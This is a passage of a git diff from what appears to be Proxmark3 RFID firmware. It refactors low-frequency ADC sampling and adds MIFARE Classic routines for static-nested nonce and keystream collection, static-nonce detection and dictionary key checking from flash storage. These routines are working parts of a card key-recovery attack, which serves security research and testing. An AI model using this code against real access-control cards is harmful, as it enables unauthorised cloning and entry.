0xffffffff) // if needed to not update if not supplied - config.samples_to_skip = sc->samples_to_skip; - config.decimation = (sc->decimation != 0) ? sc->decimation : 1; - config.averaging = sc->averaging; - if (config.bits_per_sample > 8) config.bits_per_sample = 8; + // decimation (1-8) how many bits of adc sample value to save + if (sc->decimation > 0 && sc->decimation < 8) + config.decimation = sc->decimation; + + // bits per sample (1-8) + if (sc->bits_per_sample > 0 && sc->bits_per_sample < 8) + config.bits_per_sample = sc->bits_per_sample; + + // + if (sc->averaging > -1) + config.averaging = (sc->averaging > 0) ? 1 : 0; + + // Frequency divisor (19 - 255) + if (sc->divisor > 18 && sc->divisor < 256) + config.divisor = sc->divisor; + + // Start saving samples when adc value larger than trigger_threshold + if (sc->trigger_threshold > -1) + config.trigger_threshold = sc->trigger_threshold; + + // Skip n adc samples before saving + if (sc->samples_to_skip > -1) + config.samples_to_skip = sc->samples_to_skip; if (sc->verbose) printConfig(); @@ -69,12 +85,6 @@ sample_config *getSamplingConfig() { return &config; } -struct BitstreamOut { - uint8_t *buffer; - uint32_t numbits; - uint32_t position; -}; - /** * @brief Pushes bit onto the stream * @param stream @@ -83,11 +93,112 @@ struct BitstreamOut { void pushBit(BitstreamOut *stream, uint8_t bit) { int bytepos = stream->position >> 3; // divide by 8 int bitpos = stream->position & 7; + *(stream->buffer + bytepos) &= ~(1 << (7 - bitpos)); *(stream->buffer + bytepos) |= (bit > 0) << (7 - bitpos); stream->position++; stream->numbits++; } +// Holds bit packed struct of samples. +BitstreamOut data = {0, 0, 0}; + +// internal struct to keep track of samples gathered +sampling_t samples = {0, 0, 0, 0}; + +void initSampleBuffer(uint32_t *sample_size) { + initSampleBufferEx(sample_size, false); +} + +void initSampleBufferEx(uint32_t *sample_size, bool use_malloc) { + + BigBuf_free(); + + // We can't erase the buffer now, it would drastically delay the acquisition + + if (use_malloc) { + + if (sample_size == NULL || *sample_size == 0 ) { + *sample_size = BigBuf_max_traceLen(); + data.buffer = BigBuf_get_addr(); + } else { + *sample_size = MIN(*sample_size, BigBuf_max_traceLen()); + data.buffer = BigBuf_malloc(*sample_size); + + } + + } else { + if (sample_size == NULL || *sample_size == 0 ) { + *sample_size = BigBuf_max_traceLen(); + } + data.buffer = BigBuf_get_addr(); + } + + // + samples.dec_counter = 0; + samples.sum = 0; + samples.counter = 0; + samples.total_saved = 0; +} + +uint32_t getSampleCounter() { + return samples.total_saved; +} + +void logSampleSimple(uint8_t sample) { + logSample(sample, config.decimation, config.bits_per_sample, config.averaging); +} + +void logSample(uint8_t sample, uint8_t decimation, uint8_t bits_per_sample, bool avg) { + + if (!data.buffer) return; + + if (bits_per_sample == 0) bits_per_sample = 1; + if (bits_per_sample > 8) bits_per_sample = 8; + if (decimation == 0) decimation = 1; + + // keep track of total gather samples regardless how many was discarded. + samples.counter++; + + if (avg) { + samples.sum += sample; + } + + // check decimation + if (decimation > 1) { + samples.dec_counter++; + + if (samples.dec_counter < decimation) return; + + samples.dec_counter = 0; + } + + // averaging + if (avg && decimation > 1) { + sample = samples.sum / decimation; + samples.sum = 0; + } + + // store the sample + samples.total_saved++; + + if (bits_per_sample == 8) { + + data.buffer[samples.total_saved - 1] = sample; + + // add number of bits. + data.numbits = samples.total_saved << 3; + + } else { + pushBit(&data, sample & 0x80); + if (bits_per_sample > 1) pushBit(&data, sample & 0x40); + if (bits_per_sample > 2) pushBit(&data, sample & 0x20); + if (bits_per_sample > 3) pushBit(&data, sample & 0x10); + if (bits_per_sample > 4) pushBit(&data, sample & 0x08); + if (bits_per_sample > 5) pushBit(&data, sample & 0x04); + if (bits_per_sample > 6) pushBit(&data, sample & 0x02); + } +} + /** * Setup the FPGA to listen for samples. This method downloads the FPGA bitstream * if not already loaded, sets divisor and starts up the antenna. @@ -95,7 +206,7 @@ void pushBit(BitstreamOut *stream, uint8_t bit) { * 0 or 95 ==> 125 kHz * **/ -void LFSetupFPGAForADC(int divisor, bool lf_field) { +void LFSetupFPGAForADC(int divisor, bool reader_field) { FpgaDownloadAndGo(FPGA_BITSTREAM_LF); if ((divisor == 1) || (divisor < 0) || (divisor > 255)) FpgaSendCommand(FPGA_CMD_SET_DIVISOR, LF_DIVISOR_134); //~134kHz @@ -104,14 +215,17 @@ void LFSetupFPGAForADC(int divisor, bool lf_field) { else FpgaSendCommand(FPGA_CMD_SET_DIVISOR, divisor); - FpgaWriteConfWord(FPGA_MAJOR_MODE_LF_ADC | (lf_field ? FPGA_LF_ADC_READER_FIELD : 0)); + FpgaWriteConfWord(FPGA_MAJOR_MODE_LF_READER | (reader_field ? FPGA_LF_ADC_READER_FIELD : 0)); // Connect the A/D to the peak-detected low-frequency path. SetAdcMuxFor(GPIO_MUXSEL_LOPKD); // 50ms for the resonant antenna to settle. + if (reader_field) SpinDelay(50); + // Now set up the SSC to get the ADC samples that are now streaming at us. FpgaSetupSsc(); + // start a 1.5ticks is 1us StartTicks(); } @@ -128,45 +242,39 @@ void LFSetupFPGAForADC(int divisor, bool lf_field) { * value that will be used is the average value of the three samples. * @param trigger_threshold - a threshold. The sampling won't commence until this threshold has been reached. Set * to -1 to ignore threshold. - * @param silent - is true, now outputs are made. If false, dbprints the status + * @param verbose - is true, dbprints the status, else no outputs * @return the number of bits occupied by the samples. */ -uint32_t DoAcquisition(uint8_t decimation, uint32_t bits_per_sample, bool averaging, int trigger_threshold, bool silent, int bufsize, uint32_t cancel_after, uint32_t samples_to_skip) { +uint32_t DoAcquisition(uint8_t decimation, uint8_t bits_per_sample, bool avg, int16_t trigger_threshold, + bool verbose, uint32_t sample_size, uint32_t cancel_after, int32_t samples_to_skip) { - uint8_t *dest = BigBuf_get_addr(); - bufsize = (bufsize > 0 && bufsize < BigBuf_max_traceLen()) ? bufsize : BigBuf_max_traceLen(); + initSampleBuffer(&sample_size); - if (bits_per_sample < 1) bits_per_sample = 1; - if (bits_per_sample > 8) bits_per_sample = 8; - - if (decimation < 1) decimation = 1; - - // use a bit stream to handle the output - BitstreamOut data = { dest, 0, 0}; - int sample_counter = 0; - uint8_t sample; - - // if we want to do averaging - uint32_t sample_sum = 0 ; - uint32_t sample_total_numbers = 0; - uint32_t sample_total_saved = 0; uint32_t cancel_counter = 0; - - uint16_t checked = 0; + int16_t checked = 0; while (true) { + + // only every 1000th times, in order to save time when collecting samples. if (checked == 1000) { - if (BUTTON_PRESS() || data_available()) + if (BUTTON_PRESS() || data_available()) { + checked = -1; break; - else + } else { checked = 0; + } } ++checked; WDT_HIT(); + if (AT91C_BASE_SSC->SSC_SR & AT91C_SSC_TXRDY) { +// AT91C_BASE_SSC->SSC_THR = 0x43; + LED_D_ON(); + } + if (AT91C_BASE_SSC->SSC_SR & AT91C_SSC_RXRDY) { - sample = (uint8_t)AT91C_BASE_SSC->SSC_RHR; + volatile uint8_t sample = (uint8_t)AT91C_BASE_SSC->SSC_RHR; // Testpoint 8 (TP8) can be used to trigger oscilliscope LED_D_OFF(); @@ -188,57 +296,23 @@ uint32_t DoAcquisition(uint8_t decimation, uint32_t bits_per_sample, bool averag continue; } - sample_total_numbers++; + logSample(sample, decimation, bits_per_sample, avg); - if (averaging) - sample_sum += sample; - - // check decimation - if (decimation > 1) { - sample_counter++; - if (sample_counter < decimation) continue; - sample_counter = 0; - } - - // averaging - if (averaging && decimation > 1) { - sample = sample_sum / decimation; - sample_sum = 0; - } - - // store the sample - sample_total_saved ++; - - if (bits_per_sample == 8) { - dest[sample_total_saved - 1] = sample; - - // Get the return value correct - data.numbits = sample_total_saved << 3; - if (sample_total_saved >= bufsize) break; - - } else { - pushBit(&data, sample & 0x80); - if (bits_per_sample > 1) pushBit(&data, sample & 0x40); - if (bits_per_sample > 2) pushBit(&data, sample & 0x20); - if (bits_per_sample > 3) pushBit(&data, sample & 0x10); - if (bits_per_sample > 4) pushBit(&data, sample & 0x08); - if (bits_per_sample > 5) pushBit(&data, sample & 0x04); - if (bits_per_sample > 6) pushBit(&data, sample & 0x02); - - if ((data.numbits >> 3) + 1 >= bufsize) break; - } + if (samples.total_saved >= sample_size) break; } } - if (!silent) { - Dbprintf("Done, saved " _YELLOW_("%d")"out of " _YELLOW_("%d")"seen samples at " _YELLOW_("%d")"bits/sample", sample_total_saved, sample_total_numbers, bits_per_sample); - Dbprintf("buffer samples: %02x %02x %02x %02x %02x %02x %02x %02x ...", - dest[0], dest[1], dest[2], dest[3], dest[4], dest[5], dest[6], dest[7]); + if (checked == -1 && verbose) { + Dbprintf("lf sampling aborted"); + } + + if (verbose) { + Dbprintf("Done, saved " _YELLOW_("%d")"out of " _YELLOW_("%d")"seen samples at " _YELLOW_("%d")"bits/sample", samples.total_saved, samples.counter, bits_per_sample); } // Ensure that DC offset removal and noise check is performed for any device-side processing - removeSignalOffset(dest, bufsize); - computeSignalProperties(dest, bufsize); + removeSignalOffset(data.buffer, samples.total_saved); + computeSignalProperties(data.buffer, samples.total_saved); return data.numbits; } @@ -247,32 +321,33 @@ uint32_t DoAcquisition(uint8_t decimation, uint32_t bits_per_sample, bool averag * This method is typically used by tag-specific readers who just wants to read the samples * the normal way * @param trigger_threshold - * @param silent + * @param verbose * @return number of bits sampled */ -uint32_t DoAcquisition_default(int trigger_threshold, bool silent) { - return DoAcquisition(1, 8, 0, trigger_threshold, silent, 0, 0, 0); +uint32_t DoAcquisition_default(int trigger_threshold, bool verbose) { + return DoAcquisition(1, 8, 0, trigger_threshold, verbose, 0, 0, 0); } -uint32_t DoAcquisition_config(bool silent, int sample_size) { +uint32_t DoAcquisition_config(bool verbose, uint32_t sample_size) { return DoAcquisition(config.decimation , config.bits_per_sample , config.averaging , config.trigger_threshold - , silent + , verbose , sample_size , 0 , config.samples_to_skip); } -uint32_t DoPartialAcquisition(int trigger_threshold, bool silent, int sample_size, uint32_t cancel_after) { - return DoAcquisition(1, 8, 0, trigger_threshold, silent, sample_size, cancel_after, 0); +uint32_t DoPartialAcquisition(int trigger_threshold, bool verbose, uint32_t sample_size, uint32_t cancel_after) { + return DoAcquisition(1, 8, 0, trigger_threshold, verbose, sample_size, cancel_after, 0); } -uint32_t ReadLF(bool activeField, bool silent, int sample_size) { - if (!silent) +uint32_t ReadLF(bool reader_field, bool verbose, uint32_t sample_size) { + if (verbose) printConfig(); - LFSetupFPGAForADC(config.divisor, activeField); - uint32_t ret = DoAcquisition_config(silent, sample_size); + + LFSetupFPGAForADC(config.divisor, reader_field); + uint32_t ret = DoAcquisition_config(verbose, sample_size); FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); return ret; } @@ -281,9 +356,9 @@ uint32_t ReadLF(bool activeField, bool silent, int sample_size) { * Initializes the FPGA for reader-mode (field on), and acquires the samples. * @return number of bits sampled **/ -uint32_t SampleLF(bool silent, int sample_size) { +uint32_t SampleLF(bool verbose, uint32_t sample_size) { BigBuf_Clear_ext(false); - return ReadLF(true, silent, sample_size); + return ReadLF(true, verbose, sample_size); } /** * Initializes the FPGA for sniffer-mode (field off), and acquires the samples. @@ -310,7 +385,7 @@ void doT55x7Acquisition(size_t sample_size) { if (bufsize > sample_size) bufsize = sample_size; - uint8_t curSample, lastSample = 0; + uint8_t lastSample = 0; uint16_t i = 0, skipCnt = 0; bool startFound = false; bool highFound = false; @@ -330,24 +405,24 @@ void doT55x7Acquisition(size_t sample_size) { WDT_HIT(); + if (AT91C_BASE_SSC->SSC_SR & AT91C_SSC_TXRDY) { + LED_D_ON(); + } if (AT91C_BASE_SSC->SSC_SR & AT91C_SSC_RXRDY) { - curSample = (uint8_t)AT91C_BASE_SSC->SSC_RHR; + volatile uint8_t sample = (uint8_t)AT91C_BASE_SSC->SSC_RHR; LED_D_OFF(); // skip until the first high sample above threshold - if (!startFound && curSample > T55xx_READ_UPPER_THRESHOLD) { - //if (curSample > lastSample) - // lastSample = curSample; + if (!startFound && sample > T55xx_READ_UPPER_THRESHOLD) { highFound = true; } else if (!highFound) { skipCnt++; continue; } // skip until the first low sample below threshold - if (!startFound && curSample < T55xx_READ_LOWER_THRESHOLD) { - //if (curSample > lastSample) - lastSample = curSample; + if (!startFound && sample < T55xx_READ_LOWER_THRESHOLD) { + lastSample = sample; lowFound = true; } else if (!lowFound) { skipCnt++; @@ -355,14 +430,14 @@ void doT55x7Acquisition(size_t sample_size) { } // skip until first high samples begin to change - if (startFound || curSample > T55xx_READ_LOWER_THRESHOLD + T55xx_READ_TOL) { + if (startFound || sample > T55xx_READ_LOWER_THRESHOLD + T55xx_READ_TOL) { // if just found start - recover last sample if (!startFound) { dest[i++] = lastSample; startFound = true; } // collect samples - dest[i++] = curSample; + dest[i++] = sample; } } } @@ -388,7 +463,7 @@ void doCotagAcquisition(size_t sample_size) { bufsize = sample_size; dest[0] = 0; - uint8_t sample, firsthigh = 0, firstlow = 0; + uint8_t firsthigh = 0, firstlow = 0; uint16_t i = 0; uint16_t noise_counter = 0; @@ -406,8 +481,12 @@ void doCotagAcquisition(size_t sample_size) { WDT_HIT(); + if (AT91C_BASE_SSC->SSC_SR & AT91C_SSC_TXRDY) { + LED_D_ON(); + } + if (AT91C_BASE_SSC->SSC_SR & AT91C_SSC_RXRDY) { - sample = (uint8_t)AT91C_BASE_SSC->SSC_RHR; + volatile uint8_t sample = (uint8_t)AT91C_BASE_SSC->SSC_RHR; // find first peak if (!firsthigh) { @@ -441,7 +520,6 @@ void doCotagAcquisition(size_t sample_size) { // Ensure that DC offset removal and noise check is performed for any device-side processing removeSignalOffset(dest, bufsize); computeSignalProperties(dest, bufsize); - } uint32_t doCotagAcquisitionManchester() { @@ -453,7 +531,7 @@ uint32_t doCotagAcquisitionManchester() { bufsize = COTAG_BITS; dest[0] = 0; - uint8_t sample, firsthigh = 0, firstlow = 0; + uint8_t firsthigh = 0, firstlow = 0; uint16_t sample_counter = 0, period = 0; uint8_t curr = 0, prev = 0; uint16_t noise_counter = 0; @@ -471,8 +549,12 @@ uint32_t doCotagAcquisitionManchester() { WDT_HIT(); + if (AT91C_BASE_SSC->SSC_SR & AT91C_SSC_TXRDY) { + LED_D_ON(); + } + if (AT91C_BASE_SSC->SSC_SR & AT91C_SSC_RXRDY) { - sample = (uint8_t)AT91C_BASE_SSC->SSC_RHR; + volatile uint8_t sample = (uint8_t)AT91C_BASE_SSC->SSC_RHR; // find first peak if (!firsthigh) { diff --git a/armsrc/lfsampling.h b/armsrc/lfsampling.h index b17a871ba..570dc20fe 100644 --- a/armsrc/lfsampling.h +++ b/armsrc/lfsampling.h @@ -4,7 +4,18 @@ #include "common.h" #include "pm3_cmd.h" -typedef struct BitstreamOut BitstreamOut; +typedef struct { + uint8_t *buffer; + uint32_t numbits; + uint32_t position; +} BitstreamOut; + +typedef struct { + int dec_counter; + uint32_t sum; + uint32_t counter; + uint32_t total_saved; +} sampling_t; /** * acquisition of Cotag LF signal. Similar to other LF, since the Cotag has such long datarate RF/384 @@ -23,7 +34,7 @@ void doT55x7Acquisition(size_t sample_size); * Initializes the FPGA for reader-mode (field on), and acquires the samples. * @return number of bits sampled **/ -uint32_t SampleLF(bool silent, int sample_size); +uint32_t SampleLF(bool verbose, uint32_t sample_size); /** * Initializes the FPGA for sniff-mode (field off), and acquires the samples. @@ -31,26 +42,38 @@ uint32_t SampleLF(bool silent, int sample_size); **/ uint32_t SniffLF(); +uint32_t DoAcquisition(uint8_t decimation, uint8_t bits_per_sample, bool avg, int16_t trigger_threshold, + bool verbose, uint32_t sample_size, uint32_t cancel_after, int32_t samples_to_skip); + // adds sample size to default options -uint32_t DoPartialAcquisition(int trigger_threshold, bool silent, int sample_size, uint32_t cancel_after); +uint32_t DoPartialAcquisition(int trigger_threshold, bool verbose, uint32_t sample_size, uint32_t cancel_after); /** * @brief Does sample acquisition, ignoring the config values set in the sample_config. * This method is typically used by tag-specific readers who just wants to read the samples * the normal way * @param trigger_threshold - * @param silent + * @param verbose * @return number of bits sampled */ -uint32_t DoAcquisition_default(int trigger_threshold, bool silent); +uint32_t DoAcquisition_default(int trigger_threshold, bool verbose); /** * @brief Does sample acquisition, using the config values set in the sample_config. * @param trigger_threshold - * @param silent + * @param verbose * @return number of bits sampled */ -uint32_t DoAcquisition_config(bool silent, int sample_size); +uint32_t DoAcquisition_config(bool verbose, uint32_t sample_size); + +/** + * Refactoring of lf sampling buffer + */ +void initSampleBuffer(uint32_t *sample_size); +void initSampleBufferEx(uint32_t *sample_size, bool use_malloc); +void logSampleSimple(uint8_t sample); +void logSample(uint8_t sample, uint8_t decimation, uint8_t bits_per_sample, bool avg); +uint32_t getSampleCounter(); /** * Setup the FPGA to listen for samples. This method downloads the FPGA bitstream diff --git a/armsrc/mifarecmd.c b/armsrc/mifarecmd.c index bb4fb343d..9e9c721bd 100644 --- a/armsrc/mifarecmd.c +++ b/armsrc/mifarecmd.c @@ -32,6 +32,8 @@ #include "crc16.h" #include "dbprint.h" #include "ticks.h" +#include "usb_cdc.h" // usb_poll_validate_length +#include "spiffs.h" // spiffs #ifndef HARDNESTED_AUTHENTICATION_TIMEOUT # define HARDNESTED_AUTHENTICATION_TIMEOUT 848 // card times out 1ms after wrong authentication (according to NXP documentation) @@ -918,7 +920,7 @@ void MifareNested(uint8_t blockNo, uint8_t keyType, uint8_t targetBlockNo, uint8 for (rtr = 0; rtr < 17; rtr++) { // Test if the action was cancelled - if (BUTTON_PRESS()) { + if (BUTTON_PRESS() || data_available()) { isOK = -2; break; } @@ -998,6 +1000,12 @@ void MifareNested(uint8_t blockNo, uint8_t keyType, uint8_t targetBlockNo, uint8 target_nt[i] = 0; while (target_nt[i] == 0) { // continue until we have an unambiguous nonce + // Test if the action was cancelled + if (BUTTON_PRESS() || data_available()) { + isOK = -2; + break; + } + // prepare next select. No need to power down the card. if (mifare_classic_halt(pcs, cuid)) { if (DBGLEVEL >= DBG_INFO) Dbprintf("Nested: Halt error"); @@ -1094,6 +1102,107 @@ void MifareNested(uint8_t blockNo, uint8_t keyType, uint8_t targetBlockNo, uint8 set_tracing(false); } +void MifareStaticNested(uint8_t blockNo, uint8_t keyType, uint8_t targetBlockNo, uint8_t targetKeyType, uint8_t *key) { + + LEDsoff(); + + uint64_t ui64Key = 0; + ui64Key = bytes_to_num(key, 6); + + // variables + uint16_t len; + + uint8_t uid[10] = {0x00}; + uint32_t cuid = 0, nt1, nt2; + uint32_t target_nt = {0x00}, target_ks = {0x00}; + uint8_t par[1] = {0x00}; + uint8_t receivedAnswer[10] = {0x00}; + + struct Crypto1State mpcs = {0, 0}; + struct Crypto1State *pcs; + pcs = &mpcs; + + LED_A_ON(); + iso14443a_setup(FPGA_HF_ISO14443A_READER_LISTEN); + + // free eventually allocated BigBuf memory + BigBuf_free(); + BigBuf_Clear_ext(false); + clear_trace(); + set_tracing(true); + + int16_t isOK = 0; + + LED_C_ON(); + + for (uint8_t retry = 0; retry < 3 && (isOK == 0); retry++) { + + WDT_HIT(); + + // prepare next select. No need to power down the card. + if (mifare_classic_halt(pcs, cuid)) { + if (DBGLEVEL >= DBG_INFO) Dbprintf("Nested: Halt error"); + retry--; + continue; + } + + if (!iso14443a_select_card(uid, NULL, &cuid, true, 0, true)) { + if (DBGLEVEL >= DBG_INFO) Dbprintf("Nested: Can't select card"); + retry--; + continue; + }; + + // First authenticatoin. Normal auth. + if (mifare_classic_authex(pcs, cuid, blockNo, keyType, ui64Key, AUTH_FIRST, &nt1, NULL)) { + if (DBGLEVEL >= DBG_INFO) Dbprintf("Nested: Auth1 error"); + retry--; + continue; + }; + + // second authentication. Nested auth + len = mifare_sendcmd_short(pcs, AUTH_NESTED, 0x60 + (targetKeyType & 0x01), targetBlockNo, receivedAnswer, par, NULL); + if (len != 4) { + if (DBGLEVEL >= DBG_INFO) Dbprintf("Nested: Auth2 error len=%d", len); + continue; + }; + + nt2 = bytes_to_num(receivedAnswer, 4); + uint32_t nt_tmp = prng_successor(nt1, 160); + target_ks = nt2 ^ nt_tmp; + target_nt = nt_tmp; + isOK = 1; + + if (DBGLEVEL >= DBG_DEBUG) Dbprintf("Testing nt1=%08x nt2enc=%08x nt2par=%02x ks=%08x", nt1, nt2, par[0], target_ks); + } + + LED_C_OFF(); + + crypto1_deinit(pcs); + + struct p { + int16_t isOK; + uint8_t block; + uint8_t keytype; + uint8_t cuid[4]; + uint8_t nt[4]; + uint8_t ks[4]; + } PACKED payload; + payload.isOK = isOK; + payload.block = targetBlockNo; + payload.keytype = targetKeyType; + + memcpy(payload.cuid, &cuid, 4); + memcpy(payload.nt, &target_nt, 4); + memcpy(payload.ks, &target_ks, 4); + + LED_B_ON(); + reply_ng(CMD_HF_MIFARE_STATIC_NESTED, PM3_SUCCESS, (uint8_t *)&payload, sizeof(payload)); + LED_B_OFF(); + + FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); + LEDsoff(); + set_tracing(false); +} //----------------------------------------------------------------------------- // MIFARE check keys. key count up to 85. // @@ -1131,7 +1240,7 @@ uint8_t chkKey(struct chk_t *c) { } res = mifare_classic_authex(c->pcs, c->cuid, c->block, c->keyType, c->key, AUTH_FIRST, NULL, NULL); - CHK_TIMEOUT(); +// CHK_TIMEOUT(); // if successful auth, send HALT // if ( !res ) @@ -1234,8 +1343,6 @@ void chkKey_loopBonly(struct chk_t *c, struct sector_t *k_sector, uint8_t *found } } - - // get Chunks of keys, to test authentication against card. // arg0 = antal sectorer // arg0 = first time @@ -1267,6 +1374,8 @@ void MifareChkKeys_fast(uint32_t arg0, uint32_t arg1, uint32_t arg2, uint8_t *da static uint8_t found[80]; static uint8_t *uid; + int oldbg = DBGLEVEL; + #ifdef WITH_FLASH if (use_flashmem) { BigBuf_free(); @@ -1334,6 +1443,9 @@ void MifareChkKeys_fast(uint32_t arg0, uint32_t arg1, uint32_t arg2, uint8_t *da CHK_TIMEOUT(); } + // clear debug level. We are expecting lots of authentication failures... + DBGLEVEL = DBG_NONE; + // set check struct. chk_data.uid = uid; chk_data.cuid = cuid; @@ -1358,7 +1470,7 @@ void MifareChkKeys_fast(uint32_t arg0, uint32_t arg1, uint32_t arg2, uint8_t *da for (uint16_t i = s_point; i < keyCount; ++i) { // Allow button press / usb cmd to interrupt device - if (BUTTON_PRESS() && !data_available()) { + if (BUTTON_PRESS() && data_available()) { goto OUT; } @@ -1450,7 +1562,7 @@ void MifareChkKeys_fast(uint32_t arg0, uint32_t arg1, uint32_t arg2, uint8_t *da for (uint16_t i = 0; i < keyCount; i++) { // Allow button press / usb cmd to interrupt device - if (BUTTON_PRESS() && !data_available()) break; + if (BUTTON_PRESS() && data_available()) break; // found all keys? if (foundkeys == allkeys) @@ -1559,16 +1671,16 @@ OUT: emlSetMem_xt(block, blockno, 1, sizeof(block)); } - int oldbg = DBGLEVEL; - DBGLEVEL = DBG_NONE; + MifareECardLoad(sectorcnt, 0); MifareECardLoad(sectorcnt, 1); - DBGLEVEL = oldbg; } } else { // partial/none keys found reply_mix(CMD_ACK, foundkeys, 0, 0, 0, 0); } + + DBGLEVEL = oldbg; } void MifareChkKeys(uint8_t *datain) { @@ -1590,14 +1702,15 @@ void MifareChkKeys(uint8_t *datain) { bool found; } PACKED keyresult; keyresult.found = false; - uint8_t blockNo, keyType, keyCount; + uint8_t blockNo, keyType; + uint16_t keyCount; bool clearTrace, have_uid = false; keyType = datain[0]; blockNo = datain[1]; clearTrace = datain[2]; - keyCount = datain[3]; - datain += 4; + keyCount = (datain[3] << 8) | datain[4]; + datain += 5; LEDsoff(); LED_A_ON(); @@ -1607,7 +1720,10 @@ void MifareChkKeys(uint8_t *datain) { if (clearTrace) clear_trace(); - set_tracing(true); + int oldbg = DBGLEVEL; + DBGLEVEL = DBG_NONE; + + set_tracing(false); for (i = 0; i < keyCount; i++) { @@ -1644,10 +1760,11 @@ void MifareChkKeys(uint8_t *datain) { key = bytes_to_num(datain + i * 6, 6); res = mifare_classic_auth(pcs, cuid, blockNo, keyType, key, AUTH_FIRST); - CHK_TIMEOUT(); +// CHK_TIMEOUT(); if (res) continue; + memcpy(keyresult.key, datain + i * 6, 6); keyresult.found = true; break; @@ -1661,6 +1778,31 @@ void MifareChkKeys(uint8_t *datain) { set_tracing(false); crypto1_deinit(pcs); + + DBGLEVEL = oldbg; +} + +void MifareChkKeys_file(uint8_t *fn) { + +#ifdef WITH_FLASH + SpinOff(0); + + int changed = rdv40_spiffs_lazy_mount(); + uint32_t size = size_in_spiffs((char *)fn); + uint8_t *mem = BigBuf_malloc(size); + + rdv40_spiffs_read_as_filetype((char *)fn, mem, size, RDV40_SPIFFS_SAFETY_SAFE); + + if (changed) { + rdv40_spiffs_lazy_unmount(); + } + + SpinOff(0); + + MifareChkKeys(mem); + + BigBuf_free(); +#endif } //----------------------------------------------------------------------------- @@ -1709,13 +1851,13 @@ void MifareEMemGet(uint8_t blockno, uint8_t blockcnt) { // Load a card into the emulator memory // //----------------------------------------------------------------------------- -int MifareECardLoadExt(uint8_t numSectors, uint8_t keyType) { - int retval = MifareECardLoad(numSectors, keyType); +int MifareECardLoadExt(uint8_t sectorcnt, uint8_t keytype) { + int retval = MifareECardLoad(sectorcnt, keytype); reply_ng(CMD_HF_MIFARE_EML_LOAD, retval, NULL, 0); return retval; } -int MifareECardLoad(uint8_t numSectors, uint8_t keyType) { +int MifareECardLoad(uint8_t sectorcnt, uint8_t keytype) { uint32_t cuid = 0; struct Crypto1State mpcs = {0, 0}; @@ -1741,15 +1883,15 @@ int MifareECardLoad(uint8_t numSectors, uint8_t keyType) { goto out; } - for (uint8_t sectorNo = 0; sectorNo < numSectors; sectorNo++) { - uint64_t ui64Key = emlGetKey(sectorNo, keyType); + for (uint8_t sectorNo = 0; sectorNo < sectorcnt; sectorNo++) { + uint64_t ui64Key = emlGetKey(sectorNo, keytype); if (sectorNo == 0) { - if (mifare_classic_auth(pcs, cuid, FirstBlockOfSector(sectorNo), keyType, ui64Key, AUTH_FIRST)) { + if (mifare_classic_auth(pcs, cuid, FirstBlockOfSector(sectorNo), keytype, ui64Key, AUTH_FIRST)) { if (DBGLEVEL > DBG_ERROR) Dbprintf("Sector[%2d]. Auth error", sectorNo); break; } } else { - if (mifare_classic_auth(pcs, cuid, FirstBlockOfSector(sectorNo), keyType, ui64Key, AUTH_NESTED)) { + if (mifare_classic_auth(pcs, cuid, FirstBlockOfSector(sectorNo), keytype, ui64Key, AUTH_NESTED)) { retval = PM3_ESOFT; if (DBGLEVEL > DBG_ERROR) Dbprintf("Sector[%2d]. Auth nested error", sectorNo); goto out; @@ -1882,7 +2024,7 @@ void MifareCSetBlock(uint32_t arg0, uint32_t arg1, uint8_t *datain) { } } - if ((mifare_sendcmd_short(NULL, 0, ISO14443A_CMD_WRITEBLOCK, blockNo, receivedAnswer, receivedAnswerPar, NULL) != 1) || (receivedAnswer[0] != 0x0a)) { + if ((mifare_sendcmd_short(NULL, CRYPT_NONE, ISO14443A_CMD_WRITEBLOCK, blockNo, receivedAnswer, receivedAnswerPar, NULL) != 1) || (receivedAnswer[0] != 0x0a)) { if (DBGLEVEL >= DBG_ERROR) Dbprintf("write block send command error"); errormsg = 4; break; @@ -1961,7 +2103,7 @@ void MifareCGetBlock(uint32_t arg0, uint32_t arg1, uint8_t *datain) { } // read block - if ((mifare_sendcmd_short(NULL, 0, ISO14443A_CMD_READBLOCK, blockNo, receivedAnswer, receivedAnswerPar, NULL) != 18)) { + if ((mifare_sendcmd_short(NULL, CRYPT_NONE, ISO14443A_CMD_READBLOCK, blockNo, receivedAnswer, receivedAnswerPar, NULL) != 18)) { if (DBGLEVEL >= DBG_ERROR) Dbprintf("read block send command error"); errormsg = 0; break; @@ -2047,7 +2189,55 @@ OUT: // turns off OnSuccessMagic(); BigBuf_free(); - BigBuf_Clear_ext(false); +} + +void MifareHasStaticNonce() { + + // variables + int retval = PM3_SUCCESS, len; + + uint32_t nt = 0 ; + uint8_t rec[1] = {0x00}; + uint8_t recpar[1] = {0x00}; + uint8_t *uid = BigBuf_malloc(10); + uint8_t data[1] = {0x00}; + + struct Crypto1State mpcs = {0, 0}; + struct Crypto1State *pcs; + pcs = &mpcs; + iso14a_card_select_t card_info; + + iso14443a_setup(FPGA_HF_ISO14443A_READER_LISTEN); + + for (int i = 0; i < 3; i++) { + if (!iso14443a_select_card(uid, &card_info, NULL, true, 0, true)) { + retval = PM3_ESOFT; + goto OUT; + } + + // Transmit MIFARE_CLASSIC_AUTH 0x60, block 0 + len = mifare_sendcmd_short(pcs, false, MIFARE_AUTH_KEYA, 0, rec, recpar, NULL); + if (len != 4) { + retval = PM3_ESOFT; + goto OUT; + } + + // Save the tag nonce (nt) + if (nt == bytes_to_num(rec, 4)) { + data[0]++; + } + + nt = bytes_to_num(rec, 4); + +// CHK_TIMEOUT(); + } + +OUT: + reply_ng(CMD_HF_MIFARE_STATIC_NONCE, retval, data, sizeof(data)); + // turns off + OnSuccessMagic(); + BigBuf_free(); + crypto1_deinit(pcs); } void OnSuccessMagic() { @@ -2096,7 +2286,7 @@ void MifareSetMod(uint8_t *datain) { } int respLen; - if (((respLen = mifare_sendcmd_short(pcs, 1, 0x43, mod, receivedAnswer, receivedAnswerPar, NULL)) != 1) || (receivedAnswer[0] != 0x0a)) { + if (((respLen = mifare_sendcmd_short(pcs, CRYPT_ALL, 0x43, mod, receivedAnswer, receivedAnswerPar, NULL)) != 1) || (receivedAnswer[0] != 0x0a)) { if (DBGLEVEL >= 1) Dbprintf("SetMod error; response[0]: %hhX, len: %d", receivedAnswer[0], respLen); break; } diff --git a/armsrc/mifarecmd.h b/armsrc/mifarecmd.h index 6b730fb58..1f5ee63a4 100644 --- a/armsrc/mifarecmd.h +++ b/armsrc/mifarecmd.h @@ -25,20 +25,24 @@ void MifareWriteBlock(uint8_t arg0, uint8_t arg1, uint8_t *datain); void MifareUWriteBlock(uint8_t arg0, uint8_t arg1, uint8_t *datain); void 